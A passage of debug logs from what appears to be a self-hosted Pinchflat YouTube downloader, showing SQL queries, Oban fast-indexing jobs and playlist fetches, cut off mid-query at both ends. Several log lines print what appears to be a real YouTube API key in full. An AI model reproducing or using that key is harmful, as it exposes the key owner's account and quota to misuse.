OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 17:37:08.597 [debug] QUERY OK source="tasks" db=0.1ms idle=107.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800246, 15, ~U[2026-02-10 23:37:08Z], ~U[2026-02-10 23:37:08Z]] 17:37:08.597 [info] {"args":{"id":15},"id":3800208,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":110058,"event":"job:stop","queue_time":510194,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:08.647 [debug] QUERY OK source="media_items" db=0.2ms idle=50.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?)) [42, "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 17:37:08.647 [debug] QUERY OK source="media_items" db=0.1ms idle=50.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 17:37:08.648 [debug] QUERY OK source="tasks" db=0.1ms idle=1.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800247, 42, ~U[2026-02-10 23:37:08Z], ~U[2026-02-10 23:37:08Z]] 17:37:08.648 [info] {"args":{"id":42},"id":3800207,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":161757,"event":"job:stop","queue_time":591987,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:08.703 [info] {"args":{"id":13},"id":3800209,"meta":{},"system_time":1770766628703362183,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:08.703 [debug] QUERY OK source="sources" db=0.1ms idle=55.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 17:37:08.703 [debug] QUERY OK source="settings" db=0.1ms idle=55.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:08.704 [debug] QUERY OK source="media_profiles" db=0.1ms idle=55.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:08.704 [debug] QUERY OK source="settings" db=0.0ms idle=55.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:08.704 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 17:37:08.704 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:08.704 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:08.754 [info] {"args":{"id":22},"id":3800210,"meta":{},"system_time":1770766628754029758,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:08.754 [debug] QUERY OK source="sources" db=0.0ms idle=50.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 17:37:08.754 [debug] QUERY OK source="settings" db=0.0ms idle=50.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:08.754 [debug] QUERY OK source="media_profiles" db=0.1ms idle=50.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:08.754 [debug] QUERY OK source="settings" db=0.0ms idle=50.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:08.754 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 17:37:08.754 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:08.754 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:08.789 [debug] QUERY OK source="media_items" db=0.6ms idle=34.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", "TC9-t47tKts", "ivSOrKAsPss", "tBD1NyabTt4", "33yvx6Uui-c", "FuSsFdzF8tE", ...] 17:37:08.790 [debug] QUERY OK source="media_items" db=0.3ms idle=35.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 17:37:08.810 [debug] QUERY OK source="tasks" db=0.2ms idle=55.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800248, 13, ~U[2026-02-10 23:37:08Z], ~U[2026-02-10 23:37:08Z]] 17:37:08.810 [info] {"args":{"id":13},"id":3800209,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":106982,"event":"job:stop","queue_time":526297,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:08.880 [debug] QUERY OK source="media_items" db=0.5ms idle=88.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 17:37:08.881 [debug] QUERY OK source="media_items" db=0.3ms idle=70.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 17:37:08.881 [debug] QUERY OK source="tasks" db=0.1ms idle=65.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800249, 22, ~U[2026-02-10 23:37:08Z], ~U[2026-02-10 23:37:08Z]] 17:37:08.882 [info] {"args":{"id":22},"id":3800210,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":127924,"event":"job:stop","queue_time":551664,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:10.488 [info] {"args":{"id":14},"id":3800211,"meta":{},"system_time":1770766630488695100,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:10.489 [debug] QUERY OK source="sources" db=0.1ms idle=1606.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 17:37:10.489 [debug] QUERY OK source="settings" db=0.0ms idle=1600.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:10.489 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:10.489 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:10.489 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 17:37:10.489 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:10.489 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:10.581 [debug] QUERY OK source="media_items" db=0.7ms idle=92.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", "QWWfIg3F36k", "bztt89scgH0", "Ih1c6_PnLbo", "9zCt0Iuo_1c", "xQL-tr6l5yg", "lv8ty1wn0TE", "Uj8Ajtelzw8", "Cup6uH0_8z8", "M24VNNtj7dg", "6ZS6Hmjnp14", "yvUTsieYw20", "HNapnDvLKTs", "7EMS_9ZydT8", "hp-ASYtCDNE", "8XP47iCJlJk", "UJaRNiLTiKQ", "swm7n88QmLA", "NVEOV_FgGBc", "4c17zAW6Q54", "TbuAvyyjxyM", "kTMEXgxtE4s", "aViuBgbokmI", "XS_I3cN9CeI", "oK9XgPNXeUI", "1tf5v-I72VQ", "iQxHEkbwqzY", "_a6TbDoSOe4", "LpoGGGDtK9U", "BrfKaMHCjGA", "9Aw-hoPrHok", "frJ4DvQYpes", "cQUlbFmjDcM", "Ty92ZPi6LAY", "55NAeEwEqtQ", ...] 17:37:10.583 [debug] QUERY OK source="media_items" db=1.1ms idle=93.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 17:37:10.584 [debug] QUERY OK source="tasks" db=0.1ms idle=94.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800250, 14, ~U[2026-02-10 23:37:10Z], ~U[2026-02-10 23:37:10Z]] 17:37:10.584 [info] {"args":{"id":14},"id":3800211,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":95673,"event":"job:stop","queue_time":551133,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:12.492 [info] {"args":{"id":24},"id":3800212,"meta":{},"system_time":1770766632492760387,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:12.493 [info] {"args":{"id":4},"id":3800213,"meta":{},"system_time":1770766632492804679,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:12.493 [debug] QUERY OK source="sources" db=0.2ms idle=614.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 17:37:12.493 [debug] QUERY OK source="sources" db=0.3ms idle=614.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 17:37:12.493 [debug] QUERY OK source="settings" db=0.3ms idle=615.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:12.493 [debug] QUERY OK source="settings" db=0.2ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:12.493 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", 